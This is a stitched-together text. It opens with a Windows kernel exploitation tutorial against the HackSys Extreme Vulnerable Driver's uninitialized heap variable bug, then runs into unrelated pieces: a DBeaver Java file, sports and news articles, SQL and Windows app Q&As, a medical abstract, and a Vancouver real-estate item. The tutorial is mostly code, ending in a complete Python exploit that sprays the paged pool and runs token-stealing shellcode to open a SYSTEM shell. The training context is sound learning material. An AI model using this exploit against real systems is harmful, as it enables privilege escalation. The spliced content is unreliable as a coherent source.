Overview

In the previous part, we looked into an Uninitialized Stack Variable vulnerability. In this part, we’ll discuss about another vulnerability on similar lines, Uninitialized Heap Variable. We’d be grooming Paged Pool in this one, so as to direct our execution flow to the shellcode.

Again, huge thanks to @hacksysteam for the driver.

Analysis

Let’s analyze the UninitializedHeapVariable.c file:

NTSTATUS TriggerUninitializedHeapVariable(IN PVOID UserBuffer) { ULONG_PTR UserValue = 0; ULONG_PTR MagicValue = 0xBAD0B0B0; NTSTATUS Status = STATUS_SUCCESS; PUNINITIALIZED_HEAP_VARIABLE UninitializedHeapVariable = NULL; PAGED_CODE(); __try { // Verify if the buffer resides in user mode ProbeForRead(UserBuffer, sizeof(UNINITIALIZED_HEAP_VARIABLE), (ULONG)__alignof(UNINITIALIZED_HEAP_VARIABLE)); // Allocate Pool chunk UninitializedHeapVariable = (PUNINITIALIZED_HEAP_VARIABLE) ExAllocatePoolWithTag(PagedPool, sizeof(UNINITIALIZED_HEAP_VARIABLE), (ULONG)POOL_TAG); if (!UninitializedHeapVariable) { // Unable to allocate Pool chunk DbgPrint("[-] Unable to allocate Pool chunk

"); Status = STATUS_NO_MEMORY; return Status; } else { DbgPrint("[+] Pool Tag: %s

", STRINGIFY(POOL_TAG)); DbgPrint("[+] Pool Type: %s

", STRINGIFY(PagedPool)); DbgPrint("[+] Pool Size: 0x%X

", sizeof(UNINITIALIZED_HEAP_VARIABLE)); DbgPrint("[+] Pool Chunk: 0x%p

", UninitializedHeapVariable); } // Get the value from user mode UserValue = *(PULONG_PTR)UserBuffer; DbgPrint("[+] UserValue: 0x%p

", UserValue); DbgPrint("[+] UninitializedHeapVariable Address: 0x%p

", &UninitializedHeapVariable); // Validate the magic value if (UserValue == MagicValue) { UninitializedHeapVariable->Value = UserValue; UninitializedHeapVariable->Callback = &UninitializedHeapVariableObjectCallback; // Fill the buffer with ASCII 'A' RtlFillMemory((PVOID)UninitializedHeapVariable->Buffer, sizeof(UninitializedHeapVariable->Buffer), 0x41); // Null terminate the char buffer UninitializedHeapVariable->Buffer[(sizeof(UninitializedHeapVariable->Buffer) / sizeof(ULONG_PTR)) - 1] = '\0'; } #ifdef SECURE else { DbgPrint("[+] Freeing UninitializedHeapVariable Object

"); DbgPrint("[+] Pool Tag: %s

", STRINGIFY(POOL_TAG)); DbgPrint("[+] Pool Chunk: 0x%p

", UninitializedHeapVariable); // Free the allocated Pool chunk ExFreePoolWithTag((PVOID)UninitializedHeapVariable, (ULONG)POOL_TAG); // Secure Note: This is secure because the developer is setting 'UninitializedHeapVariable' // to NULL and checks for NULL pointer before calling the callback // Set to NULL to avoid dangling pointer UninitializedHeapVariable = NULL; } #else // Vulnerability Note: This is a vanilla Uninitialized Heap Variable vulnerability // because the developer is not setting 'Value' & 'Callback' to definite known value // before calling the 'Callback' DbgPrint("[+] Triggering Uninitialized Heap Variable Vulnerability

"); #endif // Call the callback function if (UninitializedHeapVariable) { DbgPrint("[+] UninitializedHeapVariable->Value: 0x%p

", UninitializedHeapVariable->Value); DbgPrint("[+] UninitializedHeapVariable->Callback: 0x%p

", UninitializedHeapVariable->Callback); UninitializedHeapVariable->Callback(); } } __except (EXCEPTION_EXECUTE_HANDLER) { Status = GetExceptionCode(); DbgPrint("[-] Exception Code: 0x%X

", Status); } return Status; } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 NTSTATUS TriggerUninitializedHeapVariable ( IN PVOID UserBuffer ) { ULONG_PTR UserValue = 0 ; ULONG_PTR MagicValue = 0xBAD0B0B0 ; NTSTATUS Status = STATUS_SUCCESS ; PUNINITIALIZED_HEAP_VARIABLE UninitializedHeapVariable = NULL ; PAGED_CODE ( ) ; __try { // Verify if the buffer resides in user mode ProbeForRead ( UserBuffer , sizeof ( UNINITIALIZED_HEAP_VARIABLE ) , ( ULONG ) __alignof ( UNINITIALIZED_HEAP_VARIABLE ) ) ; // Allocate Pool chunk UninitializedHeapVariable = ( PUNINITIALIZED_HEAP_VARIABLE ) ExAllocatePoolWithTag ( PagedPool , sizeof ( UNINITIALIZED_HEAP_VARIABLE ) , ( ULONG ) POOL_TAG ) ; if ( ! UninitializedHeapVariable ) { // Unable to allocate Pool chunk DbgPrint ( "[-] Unable to allocate Pool chunk

" ) ; Status = STATUS_NO_MEMORY ; return Status ; } else { DbgPrint ( "[+] Pool Tag: %s

" , STRINGIFY ( POOL_TAG ) ) ; DbgPrint ( "[+] Pool Type: %s

" , STRINGIFY ( PagedPool ) ) ; DbgPrint ( "[+] Pool Size: 0x%X

" , sizeof ( UNINITIALIZED_HEAP_VARIABLE ) ) ; DbgPrint ( "[+] Pool Chunk: 0x%p

" , UninitializedHeapVariable ) ; } // Get the value from user mode UserValue = * ( PULONG_PTR ) UserBuffer ; DbgPrint ( "[+] UserValue: 0x%p

" , UserValue ) ; DbgPrint ( "[+] UninitializedHeapVariable Address: 0x%p

" , & UninitializedHeapVariable ) ; // Validate the magic value if ( UserValue == MagicValue ) { UninitializedHeapVariable -> Value = UserValue ; UninitializedHeapVariable -> Callback = & UninitializedHeapVariableObjectCallback ; // Fill the buffer with ASCII 'A' RtlFillMemory ( ( PVOID ) UninitializedHeapVariable -> Buffer , sizeof ( UninitializedHeapVariable -> Buffer ) , 0x41 ) ; // Null terminate the char buffer UninitializedHeapVariable -> Buffer [ ( sizeof ( UninitializedHeapVariable -> Buffer ) / sizeof ( ULONG_PTR ) ) - 1 ] = '\0' ; } #ifdef SECURE else { DbgPrint ( "[+] Freeing UninitializedHeapVariable Object

" ) ; DbgPrint ( "[+] Pool Tag: %s

" , STRINGIFY ( POOL_TAG ) ) ; DbgPrint ( "[+] Pool Chunk: 0x%p

" , UninitializedHeapVariable ) ; // Free the allocated Pool chunk ExFreePoolWithTag ( ( PVOID ) UninitializedHeapVariable , ( ULONG ) POOL_TAG ) ; // Secure Note: This is secure because the developer is setting 'UninitializedHeapVariable' // to NULL and checks for NULL pointer before calling the callback // Set to NULL to avoid dangling pointer UninitializedHeapVariable = NULL ; } #else // Vulnerability Note: This is a vanilla Uninitialized Heap Variable vulnerability // because the developer is not setting 'Value' & 'Callback' to definite known value // before calling the 'Callback' DbgPrint ( "[+] Triggering Uninitialized Heap Variable Vulnerability

" ) ; #endif // Call the callback function if ( UninitializedHeapVariable ) { DbgPrint ( "[+] UninitializedHeapVariable->Value: 0x%p

" , UninitializedHeapVariable -> Value ) ; DbgPrint ( "[+] UninitializedHeapVariable->Callback: 0x%p

" , UninitializedHeapVariable -> Callback ) ; UninitializedHeapVariable -> Callback ( ) ; } } __except ( EXCEPTION_EXECUTE_HANDLER ) { Status = GetExceptionCode ( ) ; DbgPrint ( "[-] Exception Code: 0x%X

" , Status ) ; } return Status ; }

Big code, but simple enough to understand. The variable UninitializedHeapVariable is being initialized with the address of the pool chunk. And it’s all good if UserValue == MagicValue, the value and callback are properly initialized and the program is checking that before calling the callback. But what if this comparison fails? From the code, it is clear that if it’s compiled as the SECURE version, the UninitializedHeapVariable is being set to NULL, so the callback won’t be called in the if statement. Insecure version on the other hand, doesn’t have any checks like this, and makes the callback to an uninitialized variable, that leads to our vulnerability.

Also, let’s have a look at the defined _UNINITIALIZED_HEAP_VARIABLE structure in UninitializedHeapVariable.h file:

typedef struct _UNINITIALIZED_HEAP_VARIABLE { ULONG_PTR Value; FunctionPointer Callback; ULONG_PTR Buffer[58]; } UNINITIALIZED_HEAP_VARIABLE, *PUNINITIALIZED_HEAP_VARIABLE; 1 2 3 4 5 typedef struct _UNINITIALIZED_HEAP_VARIABLE { ULONG_PTR Value ; FunctionPointer Callback ; ULONG_PTR Buffer [ 58 ] ; } UNINITIALIZED_HEAP_VARIABLE , * PUNINITIALIZED_HEAP_VARIABLE ;

As we see here, it defines three members, out of which second one is the Callback, defined as a FunctionPointer. If we can somehow control the data on the Pool Chunk, we’d be able to control both the UninitializedHeapVariable and Callback.

All of this is more clear in the IDA screenshot:

Also, IOCTL for this would be 0x222033.

Exploitation

As usual, let’s start with our skeleton script, and with the correct Magic value:

import ctypes, sys, struct from ctypes import * from subprocess import * def main(): kernel32 = windll.kernel32 psapi = windll.Psapi ntdll = windll.ntdll hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None) if not hevDevice or hevDevice == -1: print "*** Couldn't get Device Driver handle" sys.exit(-1) buf = "\xb0\xb0\xd0\xba" bufLength = len(buf) kernel32.DeviceIoControl(hevDevice, 0x222033, buf, bufLength, None, 0, byref(c_ulong()), None) if __name__ == "__main__": main() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import ctypes , sys , struct from ctypes import * from subprocess import * def main ( ) : kernel32 = windll . kernel32 psapi = windll . Psapi ntdll = windll . ntdll hevDevice = kernel32 . CreateFileA ( "\\\\.\\HackSysExtremeVulnerableDriver" , 0xC0000000 , 0 , None , 0x3 , 0 , None ) if not hevDevice or hevDevice == - 1 : print "*** Couldn't get Device Driver handle" sys . exit ( - 1 ) buf = "\xb0\xb0\xd0\xba" bufLength = len ( buf ) kernel32 . DeviceIoControl ( hevDevice , 0x222033 , buf , bufLength , None , 0 , byref ( c_ulong ( ) ) , None ) if __name__ == "__main__" : main ( )

Everything passes through with no crash whatsoever. Let’s give some other UserValue, and see what happens.

We get an exception, and the Callback address here doesn’t seem to be a valid one. Cool, now we can proceed on building our exploit for this.

The main challenge for us here is grooming the Paged Pool with our user controlled data from User Land. One of the interfaces that does it are the Named Objects, and if you remember from previous post about Pool Feng-Shui, we know that our CreateEvent object is the one we can use here to groom our Lookaside list:

HANDLE WINAPI CreateEvent( _In_opt_ LPSECURITY_ATTRIBUTES lpEventAttributes, _In_ BOOL bManualReset, _In_ BOOL bInitialState, _In_opt_ LPCTSTR lpName ); 1 2 3 4 5 6 HANDLE WINAPI CreateEvent ( _In_opt_ LPSECURITY_ATTRIBUTES lpEventAttributes , _In_ BOOL bManualReset , _In_ BOOL bInitialState , _In_opt_ LPCTSTR lpName ) ;

Most important thing to note here is that even though the event object itself is allocated to Non-Paged Pool, the last parameter, lpName of type LPCTSTR is actually allocated on the Paged Pool. And we can actually define what it contains, and it’s length.

Some other points to be noted here:

We’d be grooming the Lookaside list, which are lazy activated only two minutes after the boot.

list, which are lazy activated only two minutes after the boot. Maximum Blocksize for Lookaside list is 0x20, and it only manages upto 256 chunks, after that, any additional chunks are managed by the ListHead .

list is 0x20, and it only manages upto 256 chunks, after that, any additional chunks are managed by the . We need to allocate 256 objects of same size and then freeing them. If the list is not populated, then the allocation would come from ListHead list.

list. We need to make sure that the string for the object name is random for each call to object constructor, as if same string is passed to consecutive calls to object constructor, then only one Pool chuck will be served for all further requests.

We also need to make sure that our lpName shouldn’t contain any NULL characters, as that would change the length of the lpName, and the exploit would fail.

We’d be giving lpName a size of 0xF0, the header size would be 0x8, total 0xF8 chunks. The shellcode we’d borrow from our previous tutorial.

Combining all the things above, our final exploit would look like:

import ctypes, sys, struct from ctypes import * from subprocess import * def main(): spray_event = [] kernel32 = windll.kernel32 psapi = windll.Psapi ntdll = windll.ntdll hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None) if not hevDevice or hevDevice == -1: print "*** Couldn't get Device Driver handle" sys.exit(-1) #Defining the ring0 shellcode and using VirtualProtect() to change the memory region attributes, as VirtualAlloc() was always assigning the memory in address containing NULL bytes. #And we can't have NULL bytes in our address, as if lpName contains NULL bytes, the length would be affected, and our exploitation would fail. shellcode = ( "\x90\x90\x90\x90" # NOP Sled "\x60" # pushad "\x64\xA1\x24\x01\x00\x00" # mov eax, fs:[KTHREAD_OFFSET] "\x8B\x40\x50" # mov eax, [eax + EPROCESS_OFFSET] "\x89\xC1" # mov ecx, eax (Current _EPROCESS structure) "\x8B\x98\xF8\x00\x00\x00" # mov ebx, [eax + TOKEN_OFFSET] "\xBA\x04\x00\x00\x00" # mov edx, 4 (SYSTEM PID) "\x8B\x80\xB8\x00\x00\x00" # mov eax, [eax + FLINK_OFFSET] "\x2D\xB8\x00\x00\x00" # sub eax, FLINK_OFFSET "\x39\x90\xB4\x00\x00\x00" # cmp [eax + PID_OFFSET], edx "\x75\xED" # jnz "\x8B\x90\xF8\x00\x00\x00" # mov edx, [eax + TOKEN_OFFSET] "\x89\x91\xF8\x00\x00\x00" # mov [ecx + TOKEN_OFFSET], edx "\x61" # popad "\xC3" # ret ) shellcode_address = id(shellcode) + 20 shellcode_address_struct = struct.pack("<L", shellcode_address) print "[+] Pointer for ring0 shellcode: {0}".format(hex(shellcode_address)) success = kernel32.VirtualProtect(shellcode_address, c_int(len(shellcode)), c_int(0x40), byref(c_long())) if success == 0x0: print "\t[+] Failed to change memory protection." sys.exit(-1) #Defining our static part of lpName, size 0xF0, adjusted according to the dynamic part and the initial shellcode address. static_lpName = "\x41\x41\x41\x41" + shellcode_address_struct + "\x42" * (0xF0-4-8-4) # Assigning 256 CreateEvent objects of same size. print "

[+] Spraying Event Objects..." for i in xrange(256): dynamic_lpName = str(i).zfill(4) spray_event.append(kernel32.CreateEventW(None, True, False, c_char_p(static_lpName+dynamic_lpName))) if not spray_event[i]: print "\t[+] Failed to allocate Event object." sys.exit(-1) #Freeing the CreateEvent objects. print "

[+] Freeing Event Objects..." for i in xrange(0, len(spray_event), 1): if not kernel32.CloseHandle(spray_event[i]): print "\t[+] Failed to close Event object." sys.exit(-1) buf = '\x37\x13\xd3\xba' bufLength = len(buf) kernel32.DeviceIoControl(hevDevice, 0x222033, buf, bufLength, None, 0, byref(c_ulong()), None) print "

[+] nt authority\system shell incoming" Popen("start cmd", shell=True) if __name__ == "__main__": main() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 import ctypes , sys , struct from ctypes import * from subprocess import * def main ( ) : spray_event = [ ] kernel32 = windll . kernel32 psapi = windll . Psapi ntdll = windll . ntdll hevDevice = kernel32 . CreateFileA ( "\\\\.\\HackSysExtremeVulnerableDriver" , 0xC0000000 , 0 , None , 0x3 , 0 , None ) if not hevDevice or hevDevice == - 1 : print "*** Couldn't get Device Driver handle" sys . exit ( - 1 ) #Defining the ring0 shellcode and using VirtualProtect() to change the memory region attributes, as VirtualAlloc() was always assigning the memory in address containing NULL bytes. #And we can't have NULL bytes in our address, as if lpName contains NULL bytes, the length would be affected, and our exploitation would fail. shellcode = ( "\x90\x90\x90\x90" # NOP Sled "\x60" # pushad "\x64\xA1\x24\x01\x00\x00" # mov eax, fs:[KTHREAD_OFFSET] "\x8B\x40\x50" # mov eax, [eax + EPROCESS_OFFSET] "\x89\xC1" # mov ecx, eax (Current _EPROCESS structure) "\x8B\x98\xF8\x00\x00\x00" # mov ebx, [eax + TOKEN_OFFSET] "\xBA\x04\x00\x00\x00" # mov edx, 4 (SYSTEM PID) "\x8B\x80\xB8\x00\x00\x00" # mov eax, [eax + FLINK_OFFSET] "\x2D\xB8\x00\x00\x00" # sub eax, FLINK_OFFSET "\x39\x90\xB4\x00\x00\x00" # cmp [eax + PID_OFFSET], edx "\x75\xED" # jnz "\x8B\x90\xF8\x00\x00\x00" # mov edx, [eax + TOKEN_OFFSET] "\x89\x91\xF8\x00\x00\x00" # mov [ecx + TOKEN_OFFSET], edx "\x61" # popad "\xC3" # ret ) shellcode_address = id ( shellcode ) + 20 shellcode_address_struct = struct . pack ( "<L" , shellcode_address ) print "[+] Pointer for ring0 shellcode: {0}" . format ( hex ( shellcode_address ) ) success = kernel32 . VirtualProtect ( shellcode_address , c_int ( len ( shellcode ) ) , c_int ( 0x40 ) , byref ( c_long ( ) ) ) if success == 0x0 : print "\t[+] Failed to change memory protection." sys . exit ( - 1 ) #Defining our static part of lpName, size 0xF0, adjusted according to the dynamic part and the initial shellcode address. static_lpName = "\x41\x41\x41\x41" + shellcode_address_struct + "\x42" * ( 0xF0 - 4 - 8 - 4 ) # Assigning 256 CreateEvent objects of same size. print "

[+] Spraying Event Objects..." for i in xrange ( 256 ) : dynamic_lpName = str ( i ) . zfill ( 4 ) spray_event . append ( kernel32 . CreateEventW ( None , True , False , c_char_p ( static_lpName + dynamic_lpName ) ) ) if not spray_event [ i ] : print "\t[+] Failed to allocate Event object." sys . exit ( - 1 ) #Freeing the CreateEvent objects. print "

[+] Freeing Event Objects..." for i in xrange ( 0 , len ( spray_event ) , 1 ) : if not kernel32 . CloseHandle ( spray_event [ i ] ) : print "\t[+] Failed to close Event object." sys . exit ( - 1 ) buf = '\x37\x13\xd3\xba' bufLength = len ( buf ) kernel32 . DeviceIoControl ( hevDevice , 0x222033 , buf , bufLength , None , 0 , byref ( c_ulong ( ) ) , None ) print "

[+] nt authority\system shell incoming" Popen ( "start cmd" , shell = True ) if __name__ == "__main__" : main ( )

And we get our nt authority\system shell:


/*
 * DBeaver - Universal Database Manager
 * Copyright (C) 2010-2020 DBeaver Corp and others
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
package org.jkiss.dbeaver.ext.snowflake;

import org.jkiss.code.NotNull;
import org.jkiss.dbeaver.DBException;
import org.jkiss.dbeaver.Log;
import org.jkiss.dbeaver.ext.snowflake.model.SnowflakeDataSource;
import org.jkiss.dbeaver.ext.snowflake.model.SnowflakeMetaModel;
import org.jkiss.dbeaver.model.DBPDataSource;
import org.jkiss.dbeaver.model.DBPDataSourceContainer;
import org.jkiss.dbeaver.model.app.DBPPlatform;
import org.jkiss.dbeaver.model.connection.DBPConnectionConfiguration;
import org.jkiss.dbeaver.model.connection.DBPDriver;
import org.jkiss.dbeaver.model.impl.jdbc.JDBCDataSourceProvider;
import org.jkiss.dbeaver.model.runtime.DBRProgressMonitor;
import org.jkiss.utils.CommonUtils;

public class SnowflakeDataSourceProvider extends JDBCDataSourceProvider {

    private static final Log log = Log.getLog(SnowflakeDataSourceProvider.class);

    public SnowflakeDataSourceProvider()
    {
    }

    @Override
    public void init(@NotNull DBPPlatform platform) {

    }

    @Override
    public long getFeatures()
    {
        return FEATURE_SCHEMAS;
    }

    @Override
    public String getConnectionURL(DBPDriver driver, DBPConnectionConfiguration connectionInfo)
    {
        StringBuilder url = new StringBuilder();
        url.append("jdbc:snowflake://").append(connectionInfo.getHostName());
        if (!CommonUtils.isEmpty(connectionInfo.getHostPort())) {
            url.append(":").append(connectionInfo.getHostPort());
        }
        url.append("/?");
        boolean hasParam = addParameter(url, "db", connectionInfo.getDatabaseName(), false);
        hasParam = addParameter(url, "warehouse", connectionInfo.getServerName(), hasParam);
        hasParam = addParameter(url, "schema", connectionInfo.getProviderProperty(SnowflakeConstants.PROP_SCHEMA), hasParam);
        addParameter(url, "role", connectionInfo.getProviderProperty(SnowflakeConstants.PROP_ROLE), hasParam);

        return url.toString();
    }

    private static boolean addParameter(StringBuilder url, String name, String value, boolean hasParam) {
        if (!CommonUtils.isEmpty(value)) {
            if (hasParam) url.append("&");
            url.append(name).append("=").append(value);
            return true;
        }
        return hasParam;
    }

    @NotNull
    @Override
    public DBPDataSource openDataSource(
        @NotNull DBRProgressMonitor monitor,
        @NotNull DBPDataSourceContainer container)
        throws DBException
    {
        return new SnowflakeDataSource(monitor, container, new SnowflakeMetaModel());
    }

}


"It's what I've wanted from the start, from when all this trade talk first started, was to end up here," Smith told Rich Eisen on NFL Network. "I'm thankful it worked out and excited to get to work."

Reid told the media he admired Smith's ability from afar during the quarterback's college days at Utah, and revealed he'd kicked the tires about Smith in past years.

"When I was at Philadelphia, for whatever reason we seemed to play (the 49ers) every year, and I got to see him first hand," Reid said, according to The Sacramento Bee. "He was somebody if I had the chance, I would want on my team. So I did inquire about him periodically with the 49ers."

Now Reid has his guy and Smith gets to go from one respected quarterback coach to another. Things don't look so bleak in Kansas City anymore.


Q:

How to retrieve a unique data output using sql query (DISTINCT)?

The data set is like this:
Table A
==type===|| ===score====
Two columns type ands score,
and Table B
==== id ==== || ==== data ====
Two columns as well id and data.
So, the details are as follows:
the id in table B should be an INNER JOIN for the type in table A.
Now an example case of data in each table,
table A:
type == A, score = 75.
type == A, score = 80.
type == B, score = 65.
type == B, score = 75.

and table B:
id == A, data = "Good score"
id == B, data = "Not bad..."

I want the query to only select the data that is unique and distinct to it's own category type i.e. if A it should be score of 80 and not score of 75 as 75 is unique to type B's score.
Hope that helps with the problem dilemma, and I would appreciate any guidance to this question.

A:

You can use NOT EXISTS and a correlated subquery to check for the non existence of rows with the same score but different type.
SELECT a1.type,
       a1.score,
       b1.data
       FROM a a1
            INNER JOIN b b1
                       ON b1.id = a1.type
       WHERE NOT EXISTS (SELECT *
                                FROM a a2
                                WHERE a2.score = a1.score
                                      AND a2.type <> a1.type);


Analysis of promoter methylation, polymorphism and expression profile of cytotoxic T-lymphocyte-associated antigen-4 in patients with gastric cancer.
Cytotoxic T lymphocyte-associated antigen-4 (CTLA4) is a crucial immune-checkpoint receptor regulating T-cell activation. The current study was carried out to evaluate the function of CTLA4 gene in patients with gastric cancer. The methylation of CTLA4 gene promoter was evaluated by methylation-specific polymerase chain reaction (MSP) technique using 85 paraffin-embedded gastric cancer tissue samples and normal tissue on the tumor margins as control tissue samples. Expression analysis was performed on paraffin-embedded tissue samples (25 each of cancerous and normal tissues) using Real-time PCR. Statistically significant differences were observed between the tumor and margin-cell areas with respect to promoter methylation status (OR = 4.829, 95% CI: 2.46-9.48, p < 0.001) and CTLA4 expression profile (mean +/- SD = 7.56 +/- 17.35, p = 0.04). To the best of our knowledge, the current study is the first one highlighting the association between promoter hypermethylation of CTLA4 gene, decreased CTLA4 expression, and increased risk of gastric cancer.


Q:

When changing the path of an image from "included in the app" to an external source, it does not work. Why?

We are working on an app that uses json to tell the app what the image paths are. There is a background updater that runs such that the json file is downloaded and then from that new json file, we get the new paths of images.
The flow of the app is this:

App start, check update status.
If app needs update, go to update page.
Download new assets into a directory.
Change the name of the original directory that has the original assets to something else.
Change the name of the new directory with the new assets to the name of the original directory.
Once complete, load the main app.

For some reason, none of the images are showing up at all. I tried using different path prefixes like ms-appx:/// and ../. I even tried setting the path directly in the xaml instead of using data binding. Is there something I am missing?
Edit: More info - I put an "ImageFailed" event on the image object in the xaml. It fails every time with the "e" argument as "E_NETWORK_ERROR". Researching this error does not give me much help.
Edit 2: If I put in the EXACT path, including the drive letter and everything, it works. I don't understand why.
Thanks,
Zach

A:

Ok... It took a lot of digging but apparently for Windows 8.1 Universal apps (I do not know about other windows apps) the usage of ms-appx:/// is specifically for files inside the app package whereas the usage of ms-appdata:/// is for files in the app directory like the "local", "temp", and "roaming" data folders.
The fix was to change all of the ms-appx:/// to ms-appdata///Local/ in the json because these files are downloaded into the Local folder of the app.
Hope this helps others to not have to dig as deep as I did.
Zach


OTTAWA -- No Canadian Armed Forces troops were hurt by the barrage of Iranian missiles that hit targets in Iraq Tuesday, Canada's chief of defence staff says.

"CAF families: I can assure you that all deployed CAF personnel are safe & accounted for following missile attacks in Iraq," Gen. Jonathan Vance said in a tweet late Tuesday. "We remain vigilant."

CAF families: I can assure you that all deployed CAF personnel are safe & accounted for following missile attacks in Iraq. We remain vigilant. — General Jonathan Vance (@CDS_Canada_CEMD) January 8, 2020

That message was echoed by Canadian Armed Forces Operations.

"Canadian Armed Forces personnel deployed in Iraq are confirmed safe after two military bases were targeted by missile attacks this evening."

According to U.S. authorities, about a dozen ballistic missiles targeted Al-Asad airbase near Baghdad and the northern city of Irbil, in the part of Iraq controlled by the country's Kurdish minority.

Canadians have long been in Irbil, working with Iraqi troops and maintaining a helicopter unit, and Canada has a diplomatic presence there as well.

Hours before the Iranian missiles hit the Canadian Forces had started to move troops out of the country.

U.S. President Donald Trump also took to social media to comment on the attack after the U.S. Defense Department said there were few, if any, casualties among its forces.

"All is well! Missiles launched from Iran at two military bases located in Iraq. Assessment of casualties & damages taking place now," Trump said on Twitter.

"So far, so good! We have the most powerful and well equipped military anywhere in the world, by far! I will be making a statement tomorrow morning."

All is well! Missiles launched from Iran at two military bases located in Iraq. Assessment of casualties & damages taking place now. So far, so good! We have the most powerful and well equipped military anywhere in the world, by far! I will be making a statement tomorrow morning. — Donald J. Trump (@realDonaldTrump) January 8, 2020

Defence Minister Harjit Sajjan and other Canadian government leaders said they were monitoring the situation.

The Canadian military's redeployment followed other Western nations concerned about the increasingly volatile standoff between the United States and Iran.

The withdrawal of an unspecified number of Canadian soldiers to Kuwait was billed by Vance as a temporary measure intended to ensure their safety and security. When -- or even if -- they will return is an open question.

In an open letter to the families of the 500 Canadian soldiers in Iraq, Vance said the safety of the troops was his top priority and that security measures were being "considered, reassessed and modified as required on a daily basis."

"Over the coming days, and as a result of Coalition and NATO planning, some of our people will be moved temporarily from Iraq to Kuwait," Vance added in the letter, which was posted on Twitter. "Simply put, we are doing this to ensure their safety and security."

Vance did not reveal how many Canadian troops were being pulled out of Iraq, and the Department of National Defence later said it would not provide that information for security reasons.

However, even as Vance described the withdrawal as temporary, he added: "Naturally, the work we are doing on these missions, and the future of operations in Iraq, remain conditional on maintaining a sufficiently secure and productive operational environment."

The Canadian contingent includes about 200 soldiers attached to a NATO mission in the south of the country that is training Iraqi counterparts in the basics of soldiering as part of the fight against the Islamic State of Iraq and the Levant.

There have also been up to 200 special-forces soldiers in the northern part of the country working with specialized Iraqi counter-terror troops while several dozen more Canadians are working with senior Iraqi officials or providing logistical, medical and other support to the rest of the contingent.

All of the Canadians were ordered to suspend their activities and hunker down over the weekend and guard against attack following the killing by a U.S. drone at the Baghdad airport of Iranian Maj.-Gen. Qassem Soleimani, who was seen as the second-most powerful person in Iran.

Soleimani's death has raised fears of Iranian reprisals against U.S. and allied forces in Iraq and the surrounding region. It has also prompted Iraq's parliament and outgoing prime minister to call for the forced withdrawal of all western troops from the country.

The withdrawal of Canadian forces from Iraq follows a similar decision by other NATO allies, including Germany, Croatia and Romania. There were also reports of U.S. forces being put on high alert over fears of Iranian drone attacks.

"In everything that we do, the safety of our personnel is paramount," a NATO official said on Tuesday. "We are taking all precautions necessary to protect our people. This includes the temporary repositioning of some personnel to different locations both inside and outside of Iraq."

Even as the Canadian Armed Forces was preparing to start moving people out of Iraq on Tuesday, Prime Minister Justin Trudeau was talking to other world leaders about the situation in the Middle East, including German Chancellor Angela Merkel and King Abdullah II of Jordan.

New Democrat Leader Jagmeet Singh said Trudeau should be talking to Canadians.

"Canadians don't want another war," Singh posted to Twitter.

"Mr. Trudeau needs to speak to Canadians and show us his plan for Canada to help calm tensions -- not follow Trump into war."

Donald Trump and senior members of his administration continued to defend Soleimani's killing, with the U.S. president calling the Iranian general a "monster," even as they insisted there was no immediate plan to withdraw American forces from Iraq.

A leaked letter from the U.S. general commanding the anti-ISIL coalition to Iraq's defence ministry on Monday suggested the coalition, to which Canada belongs, was preparing to pack up and withdraw from the country.

There were reports on Tuesday that outgoing Iraqi Prime Minister Adil Abdul-Mahdi considered the letter an official declaration of the U.S. military's planned departure, but U.S. Defense Secretary Mark Esper again dismissed the letter as a draft and said no decision had been taken.

During a news conference at the White House with his Greek counterpart, Trump said he did not know the specifics of the letter before asserting that a U.S. withdrawal would be "the worst thing that could happen to Iraq."

"If we leave, that would mean that Iran would have a much bigger foothold, and the people of Iraq do not want to see Iran run the country."

Yet Trump, who had threatened sanctions against Iraq on Monday following calls from its parliament and Abdul-Mahdi for all foreign troops to leave, also said: "We don't want to be there forever. We want to be able to get out. I didn't want to be there in the first place, to be honest."

The Iranian government, meanwhile, was continuing to warn of retaliatory attacks against U.S. forces even as a funeral was held for Soleimani.

This report by The Canadian Press was first published Jan. 7, 2020.

With files from The Associated Press


Over the past few days, a number of homes have begun listing – all in the same area of Vancouver. The curious move now makes a little more sense, real estate agents have convinced 43 homeowners on the same street to list their homes for sale. The deal is being pitched as land assemblies, for a developer to buy multiple strips of land in the area. The buyer will likely need to be deep pocketed, and politically connected however – there’s an up to 80% premium on the land, and it’ll need to be rezoned to likely make a profit.

Where Is This?

The prime strips of land are on East Broadway, between Nanaimo Street and Rupert Street. Multiple agents and brokerages are involved in the deal, and are hoping the sellers hold out for a developer. They’re all priced in the $2 million to $3.3 million range, just a tad over the assessed value.

Premium Pricing

The plot of land east of Kaslo on East Broadway is one of the more readily available pieces pieces of land for sale. 11 of the 13 homes on the strip are currently listed for sale, but it’s unclear if the other 2 are scheduled to go on sale. The homes vary in size and style, but they all went with a $3.3 million price tag. All 13 homes have a combined assessment value just over $20 million, but the 11 listed have a combined ask $36 million. That’s an 80% premium in case you were just going to do the math.

Zoning and Rezoning

The agents are targeting a deep pocketed buyer, and not just because of the premium on the property. Re-zoning restrictions will likely prevent the developer from just building a luxury condo. As the city densifies, the rules will likely evolve going forward. So the potential buyer will have to wait out the city’s current rules. How long that will take is anyone’s guess, but carrying the property in the meantime won’t be cheap.

